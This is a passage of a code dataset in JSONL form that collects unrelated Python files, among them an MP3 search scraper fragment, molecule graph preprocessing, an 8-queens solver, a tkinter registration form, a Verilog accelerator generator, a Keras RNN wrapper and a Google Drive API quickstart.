  • \")\n\t\t\t\tsection = t[:p2]\n\t\t\t\t\n\t\t\t\tif section.find(\"Bitrate: 320\") != -1:\n\t\t\t\t\ttitle = section[section.find(\" content=\\\"\")+10:section.find(\"\\\" />\")]\n\t\t\t\t\n\t\t\t\t\tfor word in ignoreStrings:\n\t\t\t\t\t\tif title.lower().find(word.lower()) != -1:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\turl = \"http://www.beemp3s.org/\" + section[section.find(\" href=\\\"\")+7:section.find(\"\\\" title=\\\"\")]\n\t\t\t\t\t\tlength = section[section.find(\"Duration: \")+20:section.find(\" \")\n\t\t\t\tif pos != -1:\n\t\t\t\t\tt = t[pos + 27:]\n\t\t\t\t\tbitrate = t[t.find(\"| Bitrate: \")+11:t.find(\"| Bitrate: \")+20]\n\t\t\t\t\t\n\t\t\t\t\tif bitrate.find(\"320\") == -1:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\ttitle = t[:t.find(\"\\\\r\\\\n\")]\n\t\t\t\t\tlength = t[t.find(\"(Duration: \")+11:t.find(\"(Duration: \")+16].replace(\" \",\"\")\n\t\t\t\t\turl = \"http://www.mp3juices.cc/get/\" + t[t.find(\"
    = max_idx:\r\n return molecule_subset\r\n else:\r\n molecule_subset.append(mol)\r\n\r\n return molecule_subset\r\n\r\n\r\ndef get_n_subgraphs(molecule_set):\r\n \"\"\" Calculates the total number of subgraphs in the decoding route of all\r\n molecules in `molecule_set`. Loads training, testing, or validation set.\r\n First, the `PreprocessingGraph` for each molecule is obtained, and then the\r\n length of the decoding route is trivially calculated for each.\r\n\r\n Args:\r\n molecule_set (list) : Contains `rdkit.Chem.Mol` objects.\r\n\r\n Returns:\r\n n_subgraphs (int) : Sum of number of subgraphs in decoding routes of all\r\n molecules in `molecule_set`.\r\n \"\"\"\r\n n_subgraphs = 0 # start the count\r\n\r\n # convert molecules in `molecule_set` to `PreprocessingGraph`s to loop over\r\n molecular_graph_generator = map(get_graph, molecule_set)\r\n\r\n for molecular_graph in molecular_graph_generator:\r\n\r\n # get the number of decoding graphs (i.e. the decoding route length)\r\n n_SGs = apd.get_decoding_route_length(molecular_graph=molecular_graph)\r\n\r\n # add the number of subgraphs to the running count\r\n n_subgraphs += n_SGs\r\n\r\n return n_subgraphs\r\n\r\n\r\ndef get_ts_properties(is_training_set, molecular_graphs, group_size, ts_properties_old):\r\n \"\"\" Gets molecular properties for group of molecular graphs iff it's the\r\n training set.\r\n\r\n Args:\r\n is_training_set (bool) : Indicates if the molecular graphs belong to the\r\n training set.\r\n molecular_graphs (list) : Contains `PreprocessingGraph`s.\r\n group_size (int) : Size of \"group\" (i.e. slice of graphs).\r\n ts_properties_old (None or dict) : If not `None`, contains the \"old\"\r\n training set properties (i.e. those of the previous group analyzed).\r\n\r\n Returns:\r\n ts_properties (None or dict) : If not `None`, contains the merged\r\n training set properties.\r\n \"\"\"\r\n if is_training_set:\r\n\r\n ts_properties_new = anal.evaluate_training_set(\r\n preprocessing_graphs=molecular_graphs\r\n )\r\n\r\n # merge properties of current group with the previous group analyzed\r\n if ts_properties_old:\r\n ts_properties = anal.combine_ts_properties(\r\n prev_properties=ts_properties_old,\r\n next_properties=ts_properties_new,\r\n weight_next=group_size)\r\n else:\r\n ts_properties = ts_properties_new\r\n else:\r\n ts_properties = None\r\n\r\n return ts_properties\r\n\r\n\r\ndef load_datasets(hdf_file, dataset_name_list):\r\n \"\"\" Creates a dictionary of HDF datasets which have been previously created\r\n (for restart jobs only).\r\n\r\n Args:\r\n hdf_file (h5py._hl.files.File) : HDF5 file containing all the datasets.\r\n dataset_name_list (list) : Contains names (strings) of datasets.\r\n\r\n Returns:\r\n ds (dict) : Dictionary of datasets.\r\n \"\"\"\r\n ds = {} # initialize\r\n\r\n # use the name of the dataset as keys in the dictionary of datasets\r\n for ds_name in dataset_name_list:\r\n ds[ds_name] = hdf_file.get(ds_name)\r\n\r\n return ds\r\n\r\n\r\ndef save_group(dataset_dict, data_subgraphs, data_APDs, group_size, init_idx):\r\n \"\"\" Saves a group of padded subgraphs and their corresponding APDs to the\r\n existing HDF5 file as `numpy.ndarray`s.\r\n\r\n Args:\r\n dataset_dict (dict) : Contains HDF5 datasets.\r\n data_subgraphs (list) : Contains molecular subgraphs.\r\n data_APDs (list) : Contains APDs.\r\n group_size (int) : Size of HDF5 \"slice\".\r\n init_idx (int) : Index to begin slicing.\r\n \"\"\"\r\n # convert to `np.ndarray`s\r\n nodes = np.array([graph_tuple[0] for graph_tuple in data_subgraphs])\r\n edges = np.array([graph_tuple[1] for graph_tuple in data_subgraphs])\r\n APDs = np.array(data_APDs)\r\n\r\n end_idx = init_idx + group_size # idx to end slicing\r\n\r\n # once data is padded, save it to dataset slice\r\n dataset_dict[\"nodes\"][init_idx:end_idx] = nodes\r\n dataset_dict[\"edges\"][init_idx:end_idx] = edges\r\n dataset_dict[\"APDs\"][init_idx:end_idx] = APDs\r\n\r\n\r\n return dataset_dict\r\n\r\n\r\ndef shuffle_datasets(dataset_dict, dataset_names, idx1, idx2):\r\n \"\"\" Shuffles two elements, indicated by `idx1` and `idx2`, between\r\n two datasets in `dataset_dict`.\r\n \"\"\"\r\n for name in dataset_names:\r\n dataset_dict[name][idx1], dataset_dict[name][idx2] = \\\r\n dataset_dict[name][idx2], dataset_dict[name][idx1]\r\n\r\n return dataset_dict\r\n","sub_path":"GraphINVENT/graphinvent/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":19717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"450950139","text":"#!/usr/bin/env python\n\n\"\"\"\nThe traditional 8-queens problem, solved with brute force.\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\n__author__ = 'eric.hanchrow@gmail.com'\n\nimport itertools\n\nclass Board(object):\n def __init__(self, rows=8, columns=8):\n self.rows = rows\n self.columns = columns\n self.unattacked = set(itertools.product(range(8), range(8)))\n self.occupied = set()\n\n def star(self, sq):\n row = map(lambda c: (sq[0], c), range(8))\n col = map(lambda r: (r, sq[1]), range(8))\n nesw = map(lambda i: (sq[0] + i, sq[1] + i), range(-8, 8))\n nwse = map(lambda i: (sq[0] + i, sq[1] - i), range(-8, 8))\n for candidate in sorted(set(itertools.chain(row, col, nesw, nwse))):\n if candidate[0] >= 0 and candidate[0] < self.columns:\n if candidate[1] >= 0 and candidate[1] < self.rows:\n yield candidate\n\n def place_queen(self, sq):\n new = Board()\n new.occupied = set(self.occupied)\n new.occupied.add(sq)\n\n for s in self.star(sq):\n new.unattacked.discard(s)\n\n return new\n\n def __str__(self):\n return \"Board with queens at {}\".format(list(self.occupied))\n\n\ndef outer(outer_n):\n\n def solve(n):\n if n == 0:\n yield Board()\n\n else:\n for subsolution in solve(n - 1):\n for sq in subsolution.unattacked:\n yield subsolution.place_queen(sq)\n\n return [b for b in solve(outer_n) if len(b.occupied) == outer_n]\n\nfor s in outer(3):\n print(s)\n","sub_path":"python/queens.py","file_name":"queens.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"231077464","text":"from tkinter import *\n\nfrom store.classes.Person import Person\nfrom store.util.XMLUtil import XMLUtil\nfrom store.util.gui_util import display_error\n\n\ndef validate_reg(form):\n \"\"\"\n Checks the validity of the input. If there\n aren't any problems, the user is inserted into the\n xml database.\n\n :param form: the current form\n \"\"\"\n # control on passwords fields\n if form.text_fields[1].get() != form.text_fields[2].get():\n display_error(\"Error\", \"Passwords not matching\")\n form.reset()\n\n # control on username (has to be unique)\n if form.text_fields[0].get() in XMLUtil.get_all_usernames(\"customer\"):\n display_error(\"Error\", \"Username already in use\")\n form.reset()\n\n # check for empty fields\n check = True\n for i in range(len(form.text_fields) - 1):\n if form.text_fields[i].get() == \"\" or form.text_fields[i].get() is None:\n check = False\n \n if not check:\n display_error(\"Error\", \"Empty field\")\n form.reset()\n else:\n\n Person(username=form.text_fields[0].get(), psw=form.text_fields[1].get(), name=form.text_fields[3].get(),\n fiscal_code=form.text_fields[4].get(), surname=form.text_fields[5].get(), city=form.text_fields[6].get(),\n phone=form.text_fields[7].get(), mobile=form.text_fields[8].get()).add_customer()\n form.destroy()\n\n\nclass RegistrationUI(Toplevel):\n def __init__(self):\n Toplevel.__init__(self)\n self.__init_ui()\n\n def __init_ui(self):\n \"\"\"\n Initializes the registration form.\n \"\"\"\n self.title(\"Register\")\n user_label = Label(self, text=\"*Username:\")\n user_label.grid(row=0, column=0, padx=10, pady=10)\n\n user_text = Entry(self)\n user_text.grid(row=0, column=1, padx=10, pady=3)\n psw1_label = Label(self, text=\"*Password:\")\n psw1_label.grid(row=1, column=0, padx=10, pady=10)\n psw1_text = Entry(self, show=\"*\")\n psw1_text.grid(row=1, column=1, padx=10, pady=3)\n psw2_label = Label(self, text=\"*Confirm password:\")\n psw2_label.grid(row=2, column=0, padx=10, pady=10)\n psw2_text = Entry(self, show=\"*\")\n psw2_text.grid(row=2, column=1, padx=10, pady=3)\n name_label = Label(self, text=\"*Name:\")\n name_label.grid(row=3, column=0, padx=10, pady=10)\n name_text = Entry(self)\n name_text.grid(row=3, column=1, padx=10, pady=3)\n surname_label = Label(self, text=\"*Surname:\")\n surname_label.grid(row=4, column=0, padx=10, pady=10)\n surname_text = Entry(self)\n surname_text.grid(row=4, column=1, padx=10, pady=3)\n fc_label = Label(self, text=\"*Fiscal code:\")\n fc_label.grid(row=5, column=0, padx=10, pady=10)\n fc_text = Entry(self)\n fc_text.grid(row=5, column=1, padx=10, pady=3)\n city_label = Label(self, text=\"*City:\")\n city_label.grid(row=6, column=0, padx=10, pady=10)\n city_text = Entry(self)\n city_text.grid(row=6, column=1, padx=10, pady=3)\n phone_label = Label(self, text=\"*Phone:\")\n phone_label.grid(row=7, column=0, padx=10, pady=10)\n phone_text = Entry(self)\n phone_text.grid(row=7, column=1, padx=10, pady=3)\n mobile_label = Label(self, text=\"Mobile:\")\n mobile_label.grid(row=8, column=0, padx=10, pady=10)\n mobile_text = Entry(self)\n mobile_text.grid(row=8, column=1, padx=10, pady=3)\n\n reg_button = Button(self, text=\"Register\", command=lambda: validate_reg(self)).grid(row=9, column=0,\n pady=8, padx=15)\n\n cancel_button = Button(self, text=\"Cancel\", command=self.destroy).grid(row=9, column=1, sticky=W, pady=8)\n\n self.text_fields = [user_text, psw1_text, psw2_text, name_text, surname_text, fc_text, city_text, phone_text,\n mobile_text]\n\n def reset(self):\n \"\"\"\n Resets all the textfield in this form\n \"\"\"\n for field in self.text_fields:\n field.delete(0, \"end\")\n","sub_path":"src/store/gui/regist_ui.py","file_name":"regist_ui.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"152330784","text":"from veriloggen import *\n\nfrom src.make_acc_user import make_acc_user\n\n\ndef make_acc(acc_id, input_queue_controller, output_queue_controller, output_queue_controller_dsm, dsm_controller):\n m = Module('acc_%d' % acc_id)\n ADDR_WIDTH = m.Parameter('ADDR_WIDTH', 64)\n QTD_WIDTH = m.Parameter('QTD_WIDTH', 32)\n DATA_WIDTH = m.Parameter('DATA_WIDTH', 512)\n CONF_ID_QUEUE_WIDTH = m.Parameter('CONF_ID_QUEUE_WIDTH', 32)\n INITIAL_INPUT_QUEUE_ID = m.Parameter('INITIAL_INPUT_QUEUE_ID', 0)\n INITIAL_OUTPUT_QUEUE_ID = m.Parameter('INITIAL_OUTPUT_QUEUE_ID', 0)\n NUM_INPUT_QUEUES = m.Parameter('NUM_INPUT_QUEUES', 1)\n NUM_OUTPUT_QUEUES = m.Parameter('NUM_OUTPUT_QUEUES', 1)\n TAG_WIDTH = m.Parameter('TAG_WIDTH', 16)\n\n clk = m.Input('clk')\n rst = m.Input('rst')\n start = m.Input('start')\n conf_valid = m.Input('conf_valid', 2)\n conf = m.Input('conf', EmbeddedCode('ADDR_WIDTH + QTD_WIDTH + CONF_ID_QUEUE_WIDTH'))\n available_read = m.Input('available_read', NUM_INPUT_QUEUES)\n request_read = m.Output('request_read', NUM_INPUT_QUEUES)\n request_data = m.Output('request_data', EmbeddedCode('(ADDR_WIDTH+TAG_WIDTH)*NUM_INPUT_QUEUES'))\n read_data_valid = m.Input('read_data_valid')\n read_queue_id = m.Input('read_queue_id', TAG_WIDTH)\n read_data = m.Input('read_data', DATA_WIDTH)\n available_write = m.Input('available_write', (NUM_OUTPUT_QUEUES + 1))\n request_write = m.Output('request_write', (NUM_OUTPUT_QUEUES + 1))\n write_data = m.Output('write_data', EmbeddedCode('(DATA_WIDTH+ADDR_WIDTH+TAG_WIDTH)*(NUM_OUTPUT_QUEUES+1)'))\n write_data_valid = m.Input('write_data_valid')\n write_queue_id = m.Input('write_queue_id', TAG_WIDTH)\n\n rst_reg = m.Reg('rst_reg')\n start_reg = m.Reg('start_reg')\n conf_valid_reg = m.Reg('conf_valid_reg', 2)\n conf_reg = m.Reg('conf_reg', EmbeddedCode('ADDR_WIDTH + QTD_WIDTH + CONF_ID_QUEUE_WIDTH'))\n read_data_valid_reg = m.Reg('read_data_valid_reg')\n read_queue_id_reg = m.Reg('read_queue_id_reg', TAG_WIDTH)\n read_data_reg = m.Reg('read_data_reg', DATA_WIDTH)\n write_data_valid_reg = m.Reg('write_data_valid_reg')\n write_queue_id_reg = m.Reg('write_queue_id_reg', TAG_WIDTH)\n\n acc_user_available_read = m.Wire('acc_user_available_read', NUM_INPUT_QUEUES)\n acc_user_request_read = m.Wire('acc_user_request_read', NUM_INPUT_QUEUES)\n acc_user_read_data = m.Wire('acc_user_read_data', EmbeddedCode('DATA_WIDTH*NUM_INPUT_QUEUES'))\n acc_user_read_data_valid = m.Wire('acc_user_read_data_valid', NUM_INPUT_QUEUES)\n\n acc_user_available_write = m.Wire('acc_user_available_write', NUM_OUTPUT_QUEUES)\n acc_user_request_write = m.Wire('acc_user_request_write', NUM_OUTPUT_QUEUES)\n acc_user_write_data = m.Wire('acc_user_write_data', EmbeddedCode('DATA_WIDTH*(NUM_OUTPUT_QUEUES)'))\n\n acc_user_done = m.Wire('acc_user_done')\n acc_user_done_dsm = m.Wire('acc_user_done_dsm')\n has_peding_rd = m.Wire('has_peding_rd', NUM_INPUT_QUEUES)\n has_peding_wr = m.Wire('has_peding_wr', NUM_OUTPUT_QUEUES)\n has_peding = m.Wire('has_peding')\n\n input_queue_done = m.Wire('input_queue_done', NUM_INPUT_QUEUES)\n output_queue_done = m.Wire('output_queue_done', NUM_OUTPUT_QUEUES)\n\n idx_in_queue = m.Genvar('idx_in_queue')\n idx_out_queue = m.Genvar('idx_out_queue')\n\n params = [('ID_QUEUE', INITIAL_INPUT_QUEUE_ID + idx_in_queue), ('ADDR_WIDTH', ADDR_WIDTH), ('QTD_WIDTH', QTD_WIDTH),\n ('DATA_WIDTH', DATA_WIDTH), ('CONF_ID_QUEUE_WIDTH', CONF_ID_QUEUE_WIDTH), ('TAG_WIDTH', TAG_WIDTH)]\n con = [('clk', clk), ('rst', rst_reg), ('start', start_reg), ('conf_valid', conf_valid_reg), ('conf', conf_reg),\n ('available_read', available_read[idx_in_queue]), ('has_rd_peding', has_peding_rd[idx_in_queue]),\n ('request_read', request_read[idx_in_queue]),\n ('request_data', request_data[\n idx_in_queue * (ADDR_WIDTH + TAG_WIDTH):idx_in_queue * (ADDR_WIDTH + TAG_WIDTH) + (\n ADDR_WIDTH + TAG_WIDTH)]),\n ('read_data_valid', read_data_valid_reg), ('read_queue_id', read_queue_id_reg), ('read_data', read_data_reg),\n ('acc_user_available_read', acc_user_available_read[idx_in_queue]),\n ('acc_user_request_read', acc_user_request_read[idx_in_queue]),\n ('acc_user_read_data', acc_user_read_data[idx_in_queue * DATA_WIDTH:idx_in_queue * DATA_WIDTH + DATA_WIDTH]),\n ('acc_user_read_data_valid', acc_user_read_data_valid[idx_in_queue]),\n ('done', input_queue_done[idx_in_queue])]\n genInputQueue = m.GenerateFor(idx_in_queue(0), idx_in_queue < NUM_INPUT_QUEUES, idx_in_queue.inc(),\n 'gen_in_queue_controller')\n genInputQueue.Instance(input_queue_controller, 'input_queue_controller', params, con)\n\n params = [('ID_QUEUE', INITIAL_OUTPUT_QUEUE_ID + idx_out_queue), ('ADDR_WIDTH', ADDR_WIDTH),\n ('QTD_WIDTH', QTD_WIDTH), ('DATA_WIDTH', DATA_WIDTH), ('CONF_ID_QUEUE_WIDTH', CONF_ID_QUEUE_WIDTH),\n ('TAG_WIDTH', TAG_WIDTH)]\n con = [('clk', clk), ('rst', rst_reg), ('start', start_reg), ('conf_valid', conf_valid_reg), ('conf', conf_reg),\n ('available_write', available_write[idx_out_queue]), ('has_wr_peding', has_peding_wr[idx_out_queue]),\n ('request_write', request_write[idx_out_queue]),\n ('write_data', write_data[idx_out_queue * (DATA_WIDTH + ADDR_WIDTH + TAG_WIDTH):idx_out_queue * (\n DATA_WIDTH + ADDR_WIDTH + TAG_WIDTH) + (DATA_WIDTH + ADDR_WIDTH + TAG_WIDTH)]),\n ('write_data_valid', write_data_valid_reg), ('write_queue_id', write_queue_id_reg),\n ('acc_user_available_write', acc_user_available_write[idx_out_queue]),\n ('acc_user_request_write', acc_user_request_write[idx_out_queue]),\n ('acc_user_write_data',\n acc_user_write_data[(idx_out_queue) * DATA_WIDTH:(idx_out_queue) * DATA_WIDTH + DATA_WIDTH]),\n ('acc_user_done', acc_user_done),\n ('done', output_queue_done[idx_out_queue])]\n genOutputQueue = m.GenerateFor(idx_out_queue(0), idx_out_queue < NUM_OUTPUT_QUEUES, idx_out_queue.inc(),\n 'gen_out_queue_controller')\n genOutputQueue.Instance(output_queue_controller, 'output_queue_controller', params, con)\n\n params = [('ACC_ID', acc_id), ('ADDR_WIDTH', ADDR_WIDTH), ('QTD_WIDTH', QTD_WIDTH),\n ('TAG_WIDTH', TAG_WIDTH),\n ('CONF_ID_QUEUE_WIDTH', CONF_ID_QUEUE_WIDTH), ('DATA_WIDTH', DATA_WIDTH),\n ('NUM_INPUT_QUEUES', NUM_INPUT_QUEUES), ('NUM_OUTPUT_QUEUES', NUM_OUTPUT_QUEUES)]\n\n con = [('clk', clk), ('rst', rst_reg), ('start', start_reg), ('done_rd', input_queue_done),\n ('done_wr', output_queue_done),\n ('done_acc', acc_user_done_dsm),\n ('acc_req_rd_data_en', acc_user_request_read),\n ('acc_req_wr_data_en', acc_user_request_write),\n ('conf_valid', conf_valid_reg),\n ('conf', conf_reg),\n ('available_write', available_write[NUM_OUTPUT_QUEUES]),\n ('request_write', request_write[NUM_OUTPUT_QUEUES]),\n ('write_data',\n write_data[(NUM_OUTPUT_QUEUES) * (DATA_WIDTH + ADDR_WIDTH + TAG_WIDTH):(NUM_OUTPUT_QUEUES) * (\n DATA_WIDTH + ADDR_WIDTH + TAG_WIDTH) + (DATA_WIDTH + ADDR_WIDTH + TAG_WIDTH)]),\n ('write_data_valid', write_data_valid_reg), ('write_queue_id', write_queue_id_reg)]\n\n m.Instance(dsm_controller, 'dsm_controller', params, con)\n\n acc_user = make_acc_user(acc_id)\n params = [('DATA_WIDTH', DATA_WIDTH), ('NUM_INPUT_QUEUES', NUM_INPUT_QUEUES),\n ('NUM_OUTPUT_QUEUES', NUM_OUTPUT_QUEUES)]\n con = [('clk', clk), ('rst', rst_reg), ('start', start_reg), ('acc_user_done_rd_data', input_queue_done),\n ('acc_user_done_wr_data', output_queue_done), ('acc_user_available_read', acc_user_available_read),\n ('acc_user_request_read', acc_user_request_read), ('acc_user_read_data_valid', acc_user_read_data_valid),\n ('acc_user_read_data', acc_user_read_data), ('acc_user_available_write', acc_user_available_write),\n ('acc_user_request_write', acc_user_request_write), ('acc_user_write_data', acc_user_write_data),\n ('acc_user_done', acc_user_done)]\n m.Instance(acc_user, 'acc_user_%d' % acc_id, params, con)\n\n has_peding.assign(Uor(Cat(has_peding_rd, has_peding_wr)))\n acc_user_done_dsm.assign(AndList(acc_user_done, ~has_peding))\n\n m.Always(Posedge(clk))(\n rst_reg(rst),\n start_reg(start),\n conf_valid_reg(conf_valid),\n conf_reg(conf),\n read_data_valid_reg(read_data_valid),\n read_queue_id_reg(read_queue_id),\n read_data_reg(read_data),\n write_data_valid_reg(write_data_valid),\n write_queue_id_reg(write_queue_id)\n )\n\n return m\n","sub_path":"fdam-hw-generator/src/make_acc.py","file_name":"make_acc.py","file_ext":"py","file_size_in_byte":8884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316977617","text":"import numpy as np\n\ndef predict_(theta, X):\n s = len(X)\n s2 = len(theta)\n mat = np.zeros(s, dtype=float)\n #print(X)\n X = np.insert(X, 0, 1, axis = 1)\n return(np.dot(X, theta))\n \n","sub_path":"dayml01/ex00/pred.py","file_name":"pred.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"243660310","text":"import webcolors\n\ndef get_color_name(requested_color):\n\tmin_colors = {}\n\tfor key, name in webcolors.css3_hex_to_names.items():\n\t\tif name in ['grey','red','green','yellow','blue','magenta','cyan','white']:\n\t\t\tr_c, g_c, b_c = webcolors.hex_to_rgb(key)\n\t\t\trd = (r_c - requested_color[0]) ** 2\n\t\t\tgd = (g_c - requested_color[1]) ** 2\n\t\t\tbd = (b_c - requested_color[2]) ** 2\n\t\t\tmin_colors[(rd + gd + bd)] = name\n\treturn min_colors[min(min_colors.keys())]\n\ndef printall():\n\tfor rgb in [[0, 0, 255], [0, 255, 0], [255, 0, 0], [0, 0, 0], [255, 255, 255], [0, 0, 127], [77, 76, 255], [38, 38, 127], [0, 0, 204], [127, 0, 0], [255, 77, 76], [127, 38, 38], [204, 0, 0], [0, 127, 0], [76, 255, 77], [38, 127, 38], [0, 204, 0]]:\n\t\trequested_color = rgb\n\t\tclosest_name = get_color_name(requested_color)\n\t\tprint(\"Name:\", closest_name)\n\n#printall()","sub_path":"Project4/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"346050057","text":"import time\nimport numpy as np\nfrom typing import Tuple\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import SimpleRNN, Dense, Dropout\n# helper functions\nfrom ..utils.metrics import calc_rmse, calc_mae, calc_mape\n\n\nclass RNNWrapper:\n\n def __init__(self, n_input: int, n_output: int = 1, n_feature: int = 1,\n n_layer: int = 1, n_unit: int = 64, d_rate: float = 0.15,\n optimizer: str = 'adam', loss: str = \"mse\") -> None:\n \"\"\"\n Wrapper that abstracts the underlying RNN Model in order to better\n decouple the actual model specification from DNN package execution.\n\n Parameters\n ----------\n n_input : Number of input timesteps used to generate a forecast.\n n_output : Number of output timesteps or the forecast horizon.\n n_feature : Number of features, a univariate time-series has n_feature=1.\n n_unit : Number of neural units per layer.\n d_rate : Dropout rate for each layer, see: https://keras.io/layers/core/#dropout\n optimizer : How model learns (i.e. SDG), see: https://keras.io/optimizers/\n loss : The loss or error function for model to minimize, see: https://keras.io/losses/\n\n \"\"\"\n self.rnn_model = CustomRNN(n_input, n_output, n_layer, n_unit,\n n_feature, d_rate\n )\n self.rnn_model.compile(optimizer, loss)\n self.run_time = 0.0\n\n def fit(self, X_train: np.ndarray, y_train: np.ndarray, n_epoch: int = 10,\n n_batch: int = 1, verbose: int = 0) -> None:\n \"\"\"\n Wraps the RNN model.fit() function and includes the time it takes to\n finish running.\n\n Parameters\n ----------\n X_train : Training set with predictor columns used to fit the model.\n y_train : Training set with the target column used to fit the model.\n n_epoch : Num of passovers over the training set.\n n_batch : Batch size, or set of N data-points.\n verbose : Whether or not to display fit status, 1 is yes and 0 is no.\n\n \"\"\"\n start_time = time.time()\n self.rnn_model.fit(X_train, y_train, epochs=n_epoch, batch_size=n_batch,\n verbose=verbose)\n end_time = time.time()\n self.run_time = end_time - start_time\n\n def evaluate(self, X_test: np.ndarray, y_test: np.ndarray, score_type: str = 'rmse',\n verbose: int = 0) -> Tuple[Sequential, np.ndarray, float]:\n \"\"\"\n Wraps the RNN model's forecast of the test set and evaluation of its\n accuracy into one function.\n\n Parameters\n ----------\n X_test : Test set with predictor columns used to make model forecast.\n y_test : Training set with the target column used to evaluate model forecast.\n score_type : Type of scoring metric used to measure model's forecast error.\n verbose : Whether or not to display predict status, 1 is yes and 0 is no.\n\n Returns\n -------\n self.rnn_model : The trained RNN model itself.\n rnn_pred : The RNN's forecasted data or y_hat based on X_test.\n rmse : The root mean-squared error score used as default evaluation metric.\n\n \"\"\"\n rnn_pred = self.rnn_model.predict(X_test, verbose=verbose)\n rmse = calc_rmse(y_test, rnn_pred)\n mae = calc_mae(y_test, rnn_pred)\n mape = calc_mape(y_test, rnn_pred)\n\n print(\"\\n-----------------------------------------------------------------\")\n print(\"RNN SUMMARY:\")\n print(\"-----------------------------------------------------------------\")\n print(f\"MAE Score: {round(mae, 4)}\")\n print(f\"MAPE Score: {round(mape, 4)}\")\n print(f\"RMSE Score: {round(rmse, 4)}\")\n print(f\"Total Training Time: {round(self.run_time/60, 2)} min\")\n\n return self.rnn_model, rnn_pred, rmse\n\n\ndef VanillaRNN(n_input: int, n_output: int, n_unit: int, n_feature: int) -> Sequential:\n \"\"\"\n A basic version of the RNN model without any \"bells and whistles\".\n\n Parameters\n ----------\n n_input : Number of input timesteps used to generate a forecast.\n n_output : Number of output timesteps or the forecast horizon.\n n_unit : Number of neural units per layer.\n n_feature : Number of features, a univariate time-series has n_feature=1.\n\n Returns\n -------\n model : The keras.Sequential model architecture itself to be fitted with data.\n\n \"\"\"\n model = Sequential()\n model.add(SimpleRNN(n_unit, activation=\"tanh\", return_sequences=False,\n input_shape=(n_input, n_feature)))\n model.add(Dense(n_output))\n print(\"Vanilla RNN model summary:\")\n model.summary()\n return model\n\n\ndef StackedRNN(n_input: int, n_output: int, n_unit: int, n_feature: int,\n d_rate: float = 0.5) -> Sequential:\n \"\"\"\n A standard, 3-layer deep RNN model that includes dropout rates.\n\n Parameters\n ----------\n n_input : Number of input timesteps used to generate a forecast.\n n_output : Number of output timesteps or the forecast horizon.\n n_unit : Number of neural units per layer.\n n_feature : Number of features, a univariate time-series has n_feature=1.\n d_rate : Dropout rate for each layer, see: https://keras.io/layers/core/#dropout\n\n Returns\n -------\n model : The keras.Sequential model architecture itself to be fitted with data.\n\n \"\"\"\n model = Sequential()\n model.add(SimpleRNN(n_unit, activation=\"tanh\", return_sequences=True,\n input_shape=(n_input, n_feature)))\n model.add(Dropout(d_rate))\n model.add(SimpleRNN(n_unit, activation=\"tanh\", return_sequences=True))\n model.add(Dropout(d_rate))\n model.add(SimpleRNN(n_unit, activation=\"tanh\", return_sequences=False))\n model.add(Dropout(d_rate))\n model.add(Dense(n_output))\n print(\"Stacked RNN model summary:\")\n model.summary()\n return model\n\n\ndef CustomRNN(n_input: int, n_output: int, n_layer: int, n_unit: int,\n n_feature: int, d_rate: float = 0.5) -> Sequential:\n \"\"\"\n A customized, n-layer deep RNN model that includes dropout rates.\n\n Parameters\n ----------\n n_input : Number of input timesteps used to generate a forecast.\n n_output : Number of output timesteps or the forecast horizon.\n n_layer : Number of layers in the NN, excluding the input layer.\n n_unit : Number of neural units per layer.\n n_feature : Number of features, a univariate time-series has n_feature=1.\n d_rate : Dropout rate for each layer, see: https://keras.io/layers/core/#dropout\n\n Returns\n -------\n model : The keras.Sequential model architecture itself to be fitted with data.\n\n \"\"\"\n model = Sequential()\n for l in range(n_layer):\n ret_seq = True if l < (n_layer-1) else False\n model.add(SimpleRNN(n_unit, activation=\"tanh\",\n return_sequences=ret_seq,\n input_shape=(n_input, n_feature)\n )\n )\n model.add(Dropout(d_rate))\n model.add(Dense(n_output))\n\n print(\"Stacked RNN model summary:\")\n model.summary()\n return model\n","sub_path":"dnntime/models/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":7231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"624920128","text":"# _*_ coding:utf-8_*_\n\nfrom __future__ import print_function\nimport httplib2\nimport os\n\nfrom apiclient import discovery\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\n\ntry:\n import argparse\n\n flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n flags = None\n\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/drive-python-quickstart.json\nSCOPES = 'https://www.googleapis.com/auth/drive.metadata.readonly'\nCLIENT_SECRET_FILE = 'client_secret.json'\nAPPLICATION_NAME = 'Drive API Python Quickstart'\n\nCLOUDE_FOLDER_ID = \"\"\nopenstackDate = None\ncephDate = None\n\n\ndef get_credentials():\n \"\"\"Gets valid user credentials from storage.\n\n If nothing has been stored, or if the stored credentials are invalid,\n the OAuth2 flow is completed to obtain the new credentials.\n\n Returns:\n Credentials, the obtained credential.\n \"\"\"\n home_dir = os.path.expanduser('~')\n credential_dir = os.path.join(home_dir, '.credentials')\n if not os.path.exists(credential_dir):\n os.makedirs(credential_dir)\n credential_path = os.path.join(credential_dir,\n 'drive-python-quickstart.json')\n\n store = Storage(credential_path)\n credentials = store.get()\n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\n flow.user_agent = APPLICATION_NAME\n if flags:\n credentials = tools.run_flow(flow, store, flags)\n else: # Needed only for compatibility with Python 2.6\n credentials = tools.run(flow, store)\n print('Storing credentials to ' + credential_path)\n return credentials\n\n\ndef 